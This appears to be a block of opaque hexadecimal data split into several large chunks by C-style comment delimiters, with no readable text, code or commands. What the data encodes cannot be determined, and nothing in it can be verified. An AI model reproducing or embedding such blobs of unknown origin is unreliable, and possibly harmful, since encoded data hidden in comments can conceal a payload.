34d95cf751c847dc8a15d3486ad09acd280307cf00beea1a8659ec1a1fc11d047f6748c21aede9ded9106e197d0b17cc3daab85e29616ede28d11f06f9dc5f201cb3d9537b251bc832f38186941b58bfb190f474440da27ddec23854e9f053913b79b49fde31378b3d2054ee4f58835858429e4b157e13b91b23c90a3063cf4a4d2b8edcc33decf45c93f84bbab8898922e592b54105c891156cc0929fc9255ff0d8c3c3c1ce51fcfff457c0dd1e707241880903db09aca023bbdd5620ebaf66f1984a01fc196a30f0b3bd6dfc20589284f259b0b249e88256a6013d4aff9dbc62141bd102d2b09d612ee2d1855874caeffaf8f0ec78eab47bd9482fbf6e38e3b2776f780cff5525c7bb8819e6d4aa64c6bc97208f97ae8c595f278e5c2e58c1810890722772ad052ff41ad5b65b4868536096bc00a35ac7e975fbc347fdc31d13a77d45d7eea1e9ff698b77adfe3d1c431729d59f7c7c97914d024096c8faf68c82b6dd07facc453a57c0a4874ccaf81e79b776e0ec961fe00eaccc37de58fb257e5a1ac508d4732621ee30e8b899e2a5e19ffe5873102787cbce44176e5c37b5e2a144cd1d17fd45e82b6326588098deadc0e6d99e26b5150e820a6cf488a7fcd61ad40af2ff8e8f13de98362c6597a6b5a9fa5734279609f132823db0cdaf0604a3ab985c611374c5968f24bef3852a3dc97e82ad6a1005b3e90681a99488d4f893bf3825a4ff28a2d571be2c5bc0b30af405089a5915dbdf975e3c4c562abef42d56b91be80de398f64d1d153eee5b7f33c851194d63742e47d1fbdf42d061e44fa457dbd9caef7ed3e02b6f504b7ae919f745f0af9dd040420a1d5a188b791daa40e37d6a998f5936ca6aa83f913511219d0565c98c1773038b911a36ed6e3b923503b5dca06964654b9ebf2bd56f64e0eaa19aaf0e6d1e81b20f0a2f8cef1283731104ea48d6d49a8bbdc2ab89cb950b9e8d411d984b7e22093c99e075670010b4fa724916cedaa85fcd5cc40152b6b43c3daa468d2782d6407448885ff9f7f58aaa5d382c65216f14814d8ff17486423106e949d6fa0955a339eea76b285691b02a1a697ab63e8971a3cc15205f47a481ffd386901cedaa823d78f9e59c8e1df056e8cf90725b8708ed507c5875312a3d8ab1c83a8f1fb8b3bc84f5417561d9936de1d6238b0600a22da98ad76a0759afabd577efc1bcf6d4808d6a55c4c6e66a4f0ba9a14849d8212ee419b1974e2d2b1e9d21e3b102cd7d2ab51d72d470f47b7e0b0670949c1c8b060dbc51e51f8d7b8b1c56ca70b4760c1ed673493c87bc76313a4a387af5145135c3426670daaafc40ce414824a458849675f691866f7d8ebca2b00d6db4cb30084fffff1b2eb*/
/*d404a10c788c02d252ffa32945563895cf06022b91458157a45333cbf73d44a23fbb18dca24fea5c6c35c42ac94ad2ff73e66e3ccfcec2f984e38a8ed7ee2ae564a6162375e99684a92c7efd7b9910fe37144f3970f4fc2fc681756952d0daeed9a65e571e39703da81334043d05702d7daf2f268c8cb581ae1d4a41c3315aed1eb3ac352682adf1b473aa0ae23ea534c31f2f26e30a816e9eca1f2b495e422c05eabfd65777d8a1a23564099ad58fc0ce5ff6af12c585b9523c8cbe15d02db2d997ef112578248a7c72c728b6e9aa632cc2c20dda2ba2bc3450309281560dbb0622610595f59c63a3dbf165542e68ceddde299e579d51cc0f396033f0a37f2fa94a23b10774f44d8b2e25af466705189d7714892ea2a6b9981b84d5da29f4e4d9c5b8661b86d822021ddba0e05e4b986ddec0d38abefde8d0819024af5adda6a15292595f0620129fc228a288a4ba080b3b3c45e4bd58580917a95745a16e3f0b4f79f42b8f5eac221ece560ceea72da297428b9b8171f37592b92eca7bf723082d134e80238c6ceebe753dbd2fffc5b71730f9705cbbb26a3fc2bc50d4359d6829351f858e99cb048e7e467edd9a5369b15f71bbf97cdd949f7ef171e28db4cbc8d56a48123bdfb1512a9da1965a96af5aff338cbd9be0f1d5031b7ba0e886ca8e5dfcbdbe82f96d3d1cb900b91a3d04cce9326fc6d814eebd50017a2f61947e13680251d4673d47c39607431ed2fa007cf8a996149af025305cef98cbf3a1c5151620c5bfac3ddb518ce2e9ab3842c5b9a06a592a90dd906a7b9f5035e597d187ab9902267466eb7a2fe4ef910468f83810c63a507469159abdd941eba3e979d9296988bb1d40968fbd87530c3fec1aefcd5ac1815d6d0bad46977bd80a25e5fe306ef753d637155e6da61e9bdb98072ad6a7dc349aa3cf0f46792f365891e6670ce8cf7ca407f59b7d234f41e84cbe8cc9ec95f0a08eb4dbd9d4c5a17f2306abd4a5d76ea60e449bd62eecb9d9434b7de5e91f90570c0fa80ccabe88af4717b384128872734d8403f5fb5789d9677000d9db93680b3e7a92533a77f6aa109ac995f5ede6bd20f1211c588afa5f854fac687f003abef85b60e6023b27fbaffef73e8c301ea12f258e7a7d2bea44d2b572ff705eb1865558453cfa205797457b77e2fcd8c92b086b81b15b353ce0330b3aeda875d81b61c83850e0f0dcffdabe30f4b81b0a5a0c50afa38f8f8ca2e35b35cd94441dc7339bc929cbcbba3fce20a176d9afb36b702b98dbb025afa5d212cb14900d5d75b8a4518fb3a3823feed8e98b26c05a8956867da25dc07bbb2f43dbb155fc0df105fa2b29ba80f8525c8bdce86e4cfa3ec648154ab4f8cd80f58171fb85312ecb0810d2e7adee0591a7c67594cc601611451196d60518066de72e414b4e8d468a402ffb6476d03aa235ea70cfe4a2b7b4e5c6e6b9b6a07cf73744fffa1e9706fadbcc317aa8d518a2d1240e2029fe11a576962bd18a07c0ef486dcefa6c75b574b34447c60c5625e6cfd10f8420b4450b01513304e03021e2443aff9626306620b2a359e1d515efafbd3a0ad0330b0d3d231108195eeee61f46aef055172622de21133a65854ae39ffeaa6ab5e3ac08d0c5056bc37d1d4cb6ac26bbea72c9d9d8e4dcb0b01643565d17dbd4f63d11d4a4129fca1c1fc2b0877f5a86bfce4e23239a64acf60bb4551df5dd91379e78f91e06885aa2dea07eb2bea9b1130b5397f853b9d3e7d1770c34c5d9a0725daba3323651eb9f3df7052915eecf9ae198d82fc344d433857c55155e43af19d9cb8043c62af01f2e7648c8cc6eb803c850f31205ea8a2de1933c5254b2e9a0b665a938c039f8e9af8f1bac519bcd497780b9bb947331fb515c5dedbc15015ded010be0ce945500851abe7a8fa5cdff71af1c4853893210bf9cb51c167c86e9f46e5dd11da88e5f195c7aaffe3c4f1ab9f6c633f4a04b84bef93ccc2a166d9fe19052d9c9fd45720c0e235fcb723df5eccb04cde6d7c9c6143a989930d5f415557c9802dc753117a3496692deaeca7547f7f94aef8a7771854e66d7b8abcb35aaa705b9502807230cf65e13b788498836e495a29d2861b556e59e7c48d630b74e4cc8f74acb2986eaddfd8bfd6d1f7506f40ed96c34cabc66f9f83889414819170d16d4bd0c9a63d2bf3d9e34e1ce9dacc28c791d4d96b3fd98a1aaff929b025c06f55490945b138d70f53edf0aa38f3ad87a6461286d987a1b44705af894c3b0605761afa6bdb8fc72cab49fb27f0640620f8ac23d3c7024fccc693038a38577cb93ac5e2ec04bf8f2bea6a175bec9e8f2fbf6bc87680424724d02a08814e0d052b4dc5569aa53e78f089aeb0f77499dcc521938d75a68effeafa661d7352e32daab75220af62b63ceec7d4a3012088dccdf469461daa3783b6615bc84482b7be1b93d30c274c303771a18b3397f49a843881159a10ff264900f4d754a41ae9f84bebbded3ec744f09286e2e89dc3eebe32347e900952cd396208b0cacc7b8ae2032a5c526393a19fb3e874bfaabba317ba733060ef8ef77850f44d03bffc4f9ce8864ed1e96aa12b84db7fb2e1f982c73db080d36f2437be4c4249a3b37f673a9f796186ce4c7c0379b0035fa61c23f2fb0e72c499765e4fbe8326d572cb60f368ea3e70518e161c5eaead0f4625a91cbaa93dffc52b964c8787d6f6358934ecd30d93370699b72be65dbac7213dc3838b7a2c9c978e21ee60e4f60632f4b6cca216f1d0794ac0667808614a496dc5d2d5fea12f7f2875d7e645aaa096c7de03ce9f75fd550add76251780f*/
/*10e59a2a449c34956af542c0342b77aa39f7e086cd194b847b20595313ff5c6a57c2043df30f3c1fdb1337329a031abe80943ecec3afbab5b984442aec8f7e5d78afb050db252608a384ee6d7218bb7645a81f09e0a699b294bae13b51c3d69567c2726140768c2e374108da9a916ac3528884f248b99d8735d69c98b25124d91759626f8374a6a3cc9182388bb216c0af28f8ce276c39be80a65010c3f04c6976e5f963158be9f57f12d4aef3c252a73586d8765d3e62e33636ce0e484d6dcf221677dfca4f5f9706123754e76a501f8b73894b1a61ec371b5fb421a4339cdf51df99377dd4641337a013e04edb545783080bae47738c5f9a2aa06aeeb73405aec4c598859a9155b4afe7dce2ccd76e87db91d1387bff4e75e32e67495a8005d44bf1de15feb680ef614b100e98ebdb04b67e1c0beb9cf861088a4421cc08ba5ac1db8e7c7259f4bdae3e79bc2a7cd35f5aeff40e0f650bba3837f8c225b66656f53853d1d44e755b4cdb246e6dce619941d183001ccde4123d85831f53266b716a493ec7266407f63175f32b2023f4fd27ea2f343f8e4413e2066994fdbffc62dfe21ac452c158c44e006e80cbce0b50184053f9d7e393f8209874b7bea518d5f06aa292aecd1b414ebcd59d5dcde749cd5b01edb0e3831105f8da81dbbf7eeaf499aaa982c7411abf317d08e872f069a58e3533ed5a70a311c559c48ceb2d1a487640f68a80ecba5017d5a5dda1c5358fbcdf95e6ffa41363ff6d643b705d84910d1a0049be26a3a5909e858590823a068afb2fd51c93cd5438f020e462b19fcbbdc616b4a6ec7d9fc304d4062cfe380a588a52b8039795db11d32f829d4fd362965ca4f93059c931f02b248a4c1d379b387c712d9e97b6e297da0978a85e04f53fa599ec46dd8c173eb90badd70037f3f94dbe3c6da31f637578d93adebbdcc49cbd11e1c9e6b437c7bb8b963bcd95cc0c4889b996a044f56c1844aab3462743283f0fef42b074094ed0e73560cefe4426d7d6ece19758b4599acde089ab8e532f313429035b6cafe80179f71a1dfaca45269997cf387f756519ace568cf963745c1e6f51cacd7f2d97d125951366cb791e88cfa4732f3e5206f8c84ddb2c027faed7936790700efa08c87cecd7f03157285085a6c9e2cb38df006778b64f3f65f94ced9b0bd1b431743518f6401ea5d816c1ccf48998974ab67fef2510ff3609afdddf77a5e435e378364f835456cc55e1fc9871a9896725f764fad6f1c3767ec6f81361996e4fa7b0a383618e012d7d3923caeeaa7296c0bb2bcb93c8194c84936b827be6f87c97fa4be68f3f9c6f1a6dce6d61a36e71544e68950358163d8210b70e10d6badddf213e6bed75ec64cc8f68066d5ce7581ce6687736f228a17f216dad0db61d6d41b864027a8a9645e7a27b17c6441e87c801e172e8a2703b91eedc218de01b9d30655f6d48d13d9903d85b2e50aa7fff5d2394c64158ddb6afc389ea5b6f95ac010a8f98848dd882b001b7614a33d29eb37067852a9b6965b49e093d161fd8f65889c0dfe37fdfc3ab471bc1baaca76fddeccce24c8f35a2be1f7460ff1126f71b5df39d1ec265500ff17d8155e1051af9c0fe21f0eb12db9da8c87e0ed9cd1dc09b7b1808be836b334d23fe19f4776c24a620f3d82311dcf1c9866539f7cdfa2bd50dd49303e0bc73f83218bfc85e99433e9b28ac334670998df837acbabc648c09b7a47e6e1f01aee46498c96a2798ded79447600b117acbd3217ee43ae9a5c39f5e8cc32c5317c629a3b77624fdcd25a7eee0f42452d03a95c0adfc3c071edce48c5a165c9c08e27423bf46a8fda571a52c7b9081a50ee8106f34161d31e6eb0e2fda2a06c6d312e2dae6d56a9ace97656e2217374df7e15a086728fdea55edd1b3326e371cbd11c3cd925dfb7914ae65f8e27a95bc32e04e1fe1a449b7ce8ebd31acbeb2a6bdd4dee8a193b6b8cf3e658de4edd9224cc72907472e5cda19f7f52c0e43964a89b96ff2b259b6adb174fb6c0eb49274f922187b723e4a5dcbd05b638c26cb23611addc30820aca7e8d2301c8872192122a31be4d1a0149ef02d1705f6a3d66ce77904d85f4fbb68b974cbdf252585c8803754bf02857fb390f2f02b4d3c82fbd0b52137872b4c691ccb25ec036a560d8d7c3d8be7bd263d9224337d38b4671b0c0fb1d720310ba5d9ac54aae9646f2ff30645fdd5615fee5e921550aa41247d9c8c27bf609479330abbf64cf9114597acd82180b0ad601d9bab872e81c40a092b5b927c91ec2d755e17f7d353b0659f92598d0c47ab8f4186aa922b6ab42ff130f6fe334fb381c9ae46d24b5796cf92bcf45577a766b7a3132d1d754147dd3a91143990a844944ce05c0f7566373a5927faa199a2af3fae0745f101d805bdccdb809cba2a1dc612e7510b416eeaa3d160a78c467b89fde290c0a6541394f27f53843e097d1a6c02999b1f1099f6fd0602523efbda163c9e33899fddadbd2876dffe4ab519c4fd9b8d68b467fffe5085f8d4866d8e6168f49fd1d5eb1f5d8cece8d40fab0773096d0e027ae280698ab72bf18e2c3ca8d625f464f64840f6a95ddd0c1b661f27ebac5c746493cde0ff6dd354974f4e982801b0b3c079dab393367dce333f0d46e2a06c056dd48cbcd49d1c7f9312a6c5013e426eae17747df58e5cf64792c20b8804f7f1d8636b18e36eba79b6c51cc76ad1597ca179e101eedf56133607159c25a874f0626f8c396eb6bec6bb3c41277a6d4c4c68352edef171d1786c1f00aeac254edca49d613db8a641915ffc9fdb4cb72a979ca76bd8721*/
/*157b47890fdfd52a47a8386a2ec6677a31c3b793af91ec40b934c7e4c5869d1e20b79331556bf02046f34389221fcbb2abe593061f73064b4b0e69c827f14779640fd2bed75b570e28850ba02002787166b21f21e1e7d9c15122023bde5dd56289b42dd42b37452aa5fbc699b123ec8993f5a1633204aeac47e15109af401f37049c24778367d70421a48c6f34d34f1e7830fe332f92dfc3b369b7a5432af2dcda8a6cd63a8838abf2bbbcf88f68ee4ef9c3f67fe6ef18fca0dfdd7b4d180d0aafb94225a5ff7555d0fd4845dcf1eed23e0c6455e586a7801e4a070d6da66b834fd088eb518ec87fbbd16eb3d59d9a552370b123b5ddcdb4796b55297fdb67766b23bbcc60c20dd5f50abb54c07fb9c7ebbaab5ba41b50522d2d21ad901650c6ed671a04b0f2eb1edde4b1dbf5b50e2a28604ba716eedcbdc05f4ac79d0f61ba4cf6ee9b18769d5e3c7da8b391bb8f34b78e5e08a170ea55029fcf5d4563d07f58f66360f5cb0787af6e61154da80a6cdcd71e97f4d1dd60685c1dfea8955c49f5e1acdc7c693b7ec254791adf8b63bd248fc576d4fc949238638a31117beb22dcb8c4cba2a62ba2019654eca0356bacc57a691f2c2333bafcff13f7166384495ab4dcafac28a04f0bf80a8480f766819c341bd07be7896938b08edfcc7a9d3c5d278c716eb9f5d2cf7f3661e33a3de9f72c9db103ad5ece89c71aa07bb8c4313edce2d571fe85d770e6de93b742ed044b6657ce2a8e54fdf4bd718a94e790ba71361a5212c07f5e4324c880f96702424f9a64d14939e66fb8a66ce35c4ff1d4fbc027f13e5bfa2f8dbc8d5de9ca9ce059f9976e7ac971e344d5b3f56ebdebf9d678005d7a10ccb5c18e1a86f42c1f907968c802823fe228b5d11c3e61d64dacd1d7ad5d3eae1a3b0cf22981256ea5045e690397d30833b011ebea52b0d5f771879ec9aa788e1075b587332a4f246d0eab68fbd25628b2922f87ad9b219078cc8f32c57c004fc7b5b4b9b18b7c95a1eaea7faf14605be3852ecd944c8ea7bd15b6a502606e54eee7d12de859a03625497539bc9f1360c91b83049263b39f6e08143ec5155617111f3117970b13448eef1ddeeeea0f9d4c6867b1d73d6ef8d8584cf96e0a869b56b2a6571592d28c28026ef27f54b1127a3d06681bf783afe8f6132b7c05c284aac5b132c2af6b91494eb3bb3bfbdd0f013ee0bff5fdf4b9b6da9ad7a4d2c1d0b4599ab3ff6c8c89758c2f0772e662b57938d75b2cd0080aa98a35601bce4147a6230227e1e3c7e2acf3fa2da2f2ee90ef174e24a8eeeda17c2e10e0b0da12c30bb698fef9094a4a5a8cdafafa913cd0167ad2d2b2275f00291df1a7e04f27e76be401d0a6116b136c238248de6dcf3792cfe33c0770535130dd5058e976e9050164eca459bf1394a92e16a495804afb65b0feebc48ccdb12559e65a08292401d9dbafc2e2113dc3c8589889dc65ae07fdb6be1175c41447e55c6a971a2bb1bf413e10a7b5efcbd3525b01cdfcd18ece7b7f62d88a665b437acd29867c851510158803d48176865b2ccd2c39273a031be5e239bb04d995e0b2f177671590c36117a6b37764d6286efaf9ca7d2b8e687b5cc4913c53c164fd32314a682ccf5b0a8bb175325a688a8ec34d6b606a723a8dc8a51298f2589e0c0bde46c49280f7b12ae077671d558f7311444a50d4c7ff8c688a3652d7dd0b47067dc6473e8353f951cee44e2514291e2d60682fbc27f16e4bd3c13cb8f7eb09d305956947de774951c204c0669d78c1ead266dc954e63fc661de9eef67ed9f2c5d096184aa9234ec183d4197ca6d969ebedeb73e4d57035d9be8ba1bc36dd98e33a9bf8e6f2c052d5f89113baba53c47633322e1302216170a59cc12cf0a19932f65323444fff742c80dde3fe287fc2db313c0a15125c9663e37e03dfc4e84f44d496e90542a42802e45b47e936396408e770fa99e193e407be50d7a043aadaa7c039daae0a7468f5a79bd252b77c4480eba86d817853d62faac7cbc16ad651cdd2f99b376e924b9367d09cec86b84d24d577594a3278ec1fba5591cd7c7b84ac6f49803a2b29518393d0199bbefa2a348763454437c5acbeed4b2684f6416a65d74d48b754a8954129eed512ce979755ff8bfbc7e43d3364f9629693261a9c39d0837ad57231bb3fbdf4d8abbb8a55fcf84e1959a508c3373388933ac07cc0a4fd6eac9f15c3ff301b6cce332bb813602c908ec8011eb467a653ad5aae83c1d0556947fb26fde0c2366178a64e2a762c9f8bab1313eada24f3deb7c676c7fe8f525957afd4312971777e794ed29db2fffc5ca6787ac98cfffe64fac86842388459542ab9d4c4186520996511b1b7327df49f95fc78e2c9b7f46f26dc83b572d11e8c7ec052b9da51a20ed751669c30f591dabf257d49f1aa970ecbed7e384547f22a962b6fe063e0541df88c2c9789f106feee682d06969ce4e384529ac983ca0ffc3411c080ac0064b036e2e998610523be2382f58a5affeaa2df22620786f5594543b4441b52b02df771c53a2a2a8af896d2bdf35959d15f729aa473059d2049b573d4fe44d4c8943750a8be4652c1b65de741c73a417eff2e95353cb708d2648a7a6255bd799e2a90ea57f3a8b33ec3bd027b33740ca40ac242ad0f9b54f2d070bd8969f1b1d988e12d244dd4f336d4f830bf51b4fd3daddf3354f17ab89c8ae105a5296aa7d455a2356de782db0e927c7a9877f62047309d8c6b37bf5a092ada225175813437b4258d7cb3304f4e955792ee15bf69400e7dc9a61cfd57dca0a1b70db74f78ec17b6e549425858186d*/
/*b9ec3f4e7824c070fb493d3050fc0bdb128ab8f31adcba81f72ed046f25cf29b7f2a7663b5dcd7f3a37b52b9ad0658eba0183e8d615031dd410c72efa62f68905fe2494e3ab90b073dd9f897caa89947532c88249457719a2f47ee932505d295673baf52b866b1480b984651c1bcbdfdff8df93d2c64355a42c4a47043c83def7a686a5ac18ff1643c822ec1008e65b9127b5ac6616373eb4d512a4f51c9b202ceaf7263117a6f523dae6a67cd00ac0478f03a7322f8754f97ecf726a59852c50c1df5514a2521fc209f7179268b85ba98775220049c7ed7525b919a996e90dc148770a2f137d1432c43a9cc9b29f11809c34877879835d4a02cff3913be268886de774207e9e44dcd33d9e772347e8fb935f1d851a96b8471ae1e3928b5e5fd8278735bbecac5843545130fd783d2a1abf8d848fb8ca44dda7f7c75d11cb86e94b2ddf0135e2b23fa658d202d4a68fa210ebb909460b2e6e195ed2933ec872e0752eee332f2b39aea0c3d562ea3ec2910233c0cc21214257e317878815f5d55d3c15113619e53961b035e4c6ee2c67ec983f1d121ec559bc48dbc4c6184d4f78807750ee864f21ffd263c293b0c593936b4cedfde8eb9ef3efeec21f1ec9717ac8a85ae8d1d64222c2974cef096332bd2717e8bef5f0c8d2f67d92fd33a2a977d11978209d7f96ad429ed5f5029b07417edd070b45ac55ac65f72212da7a341eb9d008af414c36917842d016fb793b31c5ab1faa9eacb0a043bada7ee228bf9f8a42d0f4b1812d0228f79fef346af2aea45db51365e2b02eff6764e2480b7b1bfc1ae79b0def07346ea69ae10abd2f998a3ce74131309970a971fef857632bd3a74497df209f76b97ff5cf96b2609333404c1ba5d78642307bf43938ae948ad768be92f581626ecf962b7fc77acafd93ce849f90de67e12327bd8643c36b3a792e0343507e340cd9555b9b244d349e746177e5ad06b472ea48fc4014fd9c014d14d975a0a2c2057501a80982f8f0318bafc0b27f1e1f23b2608a7b7eb6dd71b4ce690180f12a5dfd508d9a1f8d7dc870f65a988185a20b5f694aec6addf54a37631615cd4b8b1b5eeee5444d5f112069f0af908b7bb9c176db85c31e1cd408496b5ad56bc2287dfea1225878672dc3567483985522288ca1529f6aea293fb5a85255653439a45334aa1cdcf53bee7459e68156207a57b7964492679f09fa76406a4ebc843b5cc8981d823164e84014733534d101e9e1f098f08e39a67700eb4d43f51f15a8eca8ee9b203e2ea46bf569416d81f1998acce0af2bc96734457c7568901bcf18bd6a81eee7a6741712aae118470137e1314f00d7341647c0a1331e2bc5667b3048b6fcdc5591c42e60a2116a0b068e94f69e1d2013c776a8b7ca4d9b1669893e30a889ac9610d74af550c213135767eba90fabe2ba000dd6c1ba3e1e37f3d439945ee045ad17714dc0aca72fcbc48edfc2364b8cd1cda1623e4eb3a96ca3765f4553963af7f25d95739afa39d695f20fa5616433af87404b9c5d20b49d8b25fdb53245e9d9f0bf47b8780b6f3ddb8bac28664c1f0cda7f31beeabee59dfc7acfa17dd3175e9d657bc2db7ac15fc7ea29e644fe60a5f95d77719d31b5e92f9cb4e21c9370866db952ea0af314ee0651059bd6a0bd17c91d146f1331ff69459cf0cf73905bf87954de0c61076b513c87dcd5cf60d5db04d212bca743cb2a18b53b65764faddbf29221ac66d6077ed2c581849569688949e5fc15d620f3b3b6fe8d1f7e4b180591efbac646138b9fd30aba15bf9d4409791aacaf858e9ed64bb7fe2e6adcded6ac33a596c19f3ff11d26b5fbdd0252c30d1bbe2a432000d22541824e35d5f609128e33f2112447b58924835ab0aa7b5be33295764fc638c7437b3e282c2be41ffc93c440bffc101666167894db502b6010c9e37c97df4edc6ba50dc5ac7fa1e760754d786ebaff80462c2801545b81536c8febf0326757bb0142fc586c531b21f9eb31cb852283d5924765e87397ea90de3074f40a895672e4b924054569d4237cfdfa7db6dbbb4d7456924464840d5f53b7b63325a2db9fbc01e04b2a50b92aff06a07ff7c13f5bffff22d740f20d1846c40c65cc6ef06f45113187c8fd9fc034821f9c1f26d105bbe81372ef13f182747e386bbb8afc0a917f0332104aa403bb6e4fa5ee69b1421b132bd01837d4454b54ea28fbbf780d0421e53ec96ed71613a1a8532ca737599250b328c42d7e0628269374bb36636074b2672ee6d37c9194efc5139780b6948f94601cee49bd5effae0439b89410ae414fd2bd04f76638336e3eebacf75fad2857919fea83cc56679b52721a913693dd08345f839941bd9565db9874e174283ddfa139d027c471caab28ea4aa79c8ff07b9ff64ec40a2023a3b8e20511b411f32a0cec3b0c605720df7f008af31153b872067970535fe002c8ba98d67abf49371d4e6bed215c0676894c57c4f5c6308617948c5c1c4fa2468c0d42a6a1b21b87850d7368a7c416f0e2dde6006ec54204b51e277e32348de46e21fff918bd37401cb9005cf262b2ce09d66a1357246c8f65afd22fef49cf038b1673217434c0a6de839b7ea493be8054799bde7b592f8bbebffa7bcd1ff46d7939029d9e2d1bc59e9f6744ba60d928e65f0b346315ba37a0b703184397b760841d7033a36348609cc40a3d5631c2396f7c84a0ea2220376669697896e02c5a1fb4fde53054b1a823e9c8dde3570a282b332edb8e6866b13d3ae99d43c69f73bed8dc5fccad1006d9060e1de542825dd27f8ee86655ccb18a1fd675efc900ef9895240e0*/
/*7ba611ae9d6074b91f3f9e9562ca101bd728efbb99ddba8744d3ead3f707fed9b561ef685417a9183fadd13919f4afde5f0d8ac2d4eff4875b223d892bcfba24eb43c6700f2e7865e85ecfc9e3db7bd1657d0b6f4d57369feb774c8f3ac06369f0f853cadb6279be3128c7c597be546d79f0322d7308cf760b32b303735381533f072a8a4bb8ab8f7f081f45ff3f541de214fefd5e854293202eb96d43c46941f6671042eb7443b3c1d2e0c8dafced1c0f5a94cac438cca203c53d0222841b1f0407aa8367c62d8de53a49e5fa2350b4255b39426a378f83db522a11a0c7d079422866819a4994fce93626aeeaa2a06bc1c2eb46998b11cf5f606f37bc4cdeb353cd24a794189d178ee5316d5b2821fda696dc42dec9cdecdf76e3d6dce661dff7ab11bf0f6d8c3a7c12012d215cfcd67edd6a034dccdd30ff56b0d217c542bf6bd38cc94591b6b81dace353516313ca0e2be33589943de3ea99a8b138ff78827090fc099f6d0ae0141ef2a92a2c6a6e331e23d21cdf518f31efbd6d99bca22cd8214f674c8412a099b687b8999f289ab156ae9ddc33b1befb3ce07140d17fe11e8599e6b03a9c2217f9c882ad810bcb8ab330238869b2a8112f7fb74b39f77d169234d2e93667743f5ac4168fa8af01d6a980d433a2d2be34146fe1e0833ecbbe604e91e9c82a458eaa4d23e52d385828c43f4d6deed34d0840dae52111b0907fb2c69388a809c0a79971977c0a548dbf4991c40477f42935d016add5dfb1284fbbf71dc284c49fd19bac634eb3c3b370edc68cf9b44f1a41360dd967de0283b14efa6154b8509c53bca6b77a1439a260f960b55a7a5500dc599f6d7f25f2ff576638f3067e86499980b2f8ff2ee92ceb87d805d6ba3c3d99a88b0aebcf0cf3ff48a23bb92a56cb8cca0f6b45eac7fa2a728ac914ff2026f0956d475d6e33dd38f292f5fd635a173c9aaec0651e78a7f3af24326149766967980bdb5a16cb655d7ced5a036ebc4ee996eac0795c34fd6232fc40b1b42f8631bed0db9e573030c71f39ec61a53fd3999b3652a67566683ba708c68c43bd218e5049b8eb334072744e29acf1702e8dd3ce377e09e72cc136d1997cb92081c9a87db159e6076d09f754dff5dfcfc5d23bc0fe2183ff51a443a766778b026f4fb1f5d61c79599048517abe0b35dc9e3f5fc3d7e88bf41c87062a121a1f203cc3b81b537efaeee766b3d67ec3c6209f6cfb3120b7cf1bf8c14849aa8578269fe90cd82980afed6a2392250fd2b3288ada57a5bc390abde458699a6469921f7affb77b76d1055b5de2338185bd86241f8b40942962a58c8efc95ceff19edf99cc95a899b5e9b34d50f21081f9e5f0a85e97d1f0cefc4b339ca80ad531cb0a219056faf231691b339e689a946e3063083307fa3864f5413cce717806bc1c2db2b30281856087733e697841f9f0b2aeea45bd9f10f5947805f66f5c95bd7833b511a50daf7b9089c9090350c05c11f26fd5fcf7633562a96ec9c094558247833394f573bc10118aaf24a02b6a6334adcb25ef0b06c9fd779a578669b4773613dc0473107f55ac6ee14e5058086e28eb5fe489f4a647394c5dd09f5250292489e97f9d5da1d33ed6d0351cee2eee80e7153c9143ad00be718b81acc62a299160f28200ff6355b3be425a482ea5ffe028b62730202d05be6f51bad5c7c2d21d8f2b7298d732780397a8b2845001a6b9fa9b34b05a5e981d6c5d34952ff1bbc9675c8c0f41ce8fae2fbd3b5c74a08aa0601f32d0377a04923416b896cebe55ab73bcd1925f2f9a169d68bf4fa82e06ad4117a36d80b2c6cdc2c2f6ef187c83f192ee204b14b147d189baabc2691900ab31c4cc6f3f25720abfb96073107b3e6e5d541250ed9a08c6709158d233a5b5dcdb5d6571e9e13c9ea678f5875ddb5bc3fa6002eec8c6c2d3c36158095b20247fa04f45a7466052a97e9f3e0958e3b7a740642c244c8e0ca39c7ec2e9ccee499a05c09891e82a90cce7ecad51833201141039ed4e685c9d8e648077f34136543fabd6743a6031f488ad27fa200d2fb31bbd32304d6efee4a3fc826805c48b56441ec5ae1d53384c1c06d51bf04731cf0901db48755df840091e88d838342b0fedfe01e58504a878f4faf0e046ac9f329b9cddb14fdefb27a98b43b012cb9c0e3840c1717209ef5ac329fec5f9c8354aefb225210b290184dc6ec83a39123d8ccb11d94b638129e1fb1adac26768bf881570336b401f21a0be56c4621bd6275ccf567bfdd7f0a9b65cf361252da5667e6779ada0b6b90eef94490d17d013851e971fad0a37fbf95d617472a399d54589d5ead5ae0f1e9bda59f3a308047732aff1f7aabcbaf4f781d067c82696ab08b77e4964aa8af2c49345d41b992edf07d04bae6ae93df0ebbdbd770a1474e60ea5a281ff63ab049c46d0b0e2de7d1bfaf3e63a11fb3dc26fd1402f7d60fb0262d06686c58fed97c68f38591af82fb5134f92a9e5831f3354d385970ced47e57e92019e6d192a6b5feb0c814cc0eddc95233b311616fa2422a3f621cded1a4fb91633bedd9c473743ed39895e09ba19f81952227563166dc45aa7f36143e77d5a066cc1e3416f0f0eb958cebaa852769866e31b199d7317fd7eefdb92c47b543248f49b2a6666512b85f2edf09bc558fffb0eddceb5fcd9c6b7e74291ad228703809618fe4db80658c0efb9f19b1d375876db6e5b39084126e7dd05bec098a39f71c90981636f0246907d7d1b92cd2bb6c95984d704d9ce90a4d877d8d152a89fbc8db5141a576487404b32ffbe833713f5f013070ef663d140a36fd8b8f*/
/*3f566de4893759fb28dbdf6d6dcd4f722102745459e7853d28e9ad7dba84db5096256899a3ce572c37a80a0b8dd1b5333d1d82829fa825fa6046d8be363c1998a5e18fa1df7b19b24a37b437a7ee59e8925f59b0f3db1059d30f2f3c50be0ddaf011d59534ac7bcd35c02a3c3d3428fda99699119f201b03a57c7793837c5dc2e7a7f6c42012c0126f9dc24a45424c0de3c9491a4bfa9d997dcf4d2ffdd5999f79fa320a86035d6b57195adc3d989a0230a6e7062a5783bd5a279a0e33acde99f238be4719fa7da5dfcd5106ebf58eabe500da352f94fc4e63f19d102b7ad676753f72ba7cca1c1fb73950c6dc984eb169afffb4da15a58350ade9fddacb9e18aee6df193db3ac927939ed7ab0c8561022531ad8fe7c7547c7c94452ca2de09f10c4a27489f563210321843ebd36a5a87290b9396fccb69d0f9bcb775134ceb3bcfdf8b4159bf18969ce72f44762091148536c378bbcc1f43f9b9aa06825fa4abcc2e099e28c8fc9baed22f8b1bfd326cf562b916f0193981de9e3392bbcb3b598b26ffc5e42d5d1fa84c066bdeef645c09f334593ead8c087e605d23eb887f97c9bd84e261d3c8e705a1f13aa64a17afe0ae64326863d876d4b9cf18baa1ab43e0098ea5431b8c93e57f39ad59c11f3484caa38244492c613046f4b51e191d8affc6986611829ff62538c168e90c6d3eb68cac694e92241354e34f2ee6f5637992654c5d9e5845094ad8125384e885cca0d95a1cd2c9f891cdc6526b4b4c29f49606d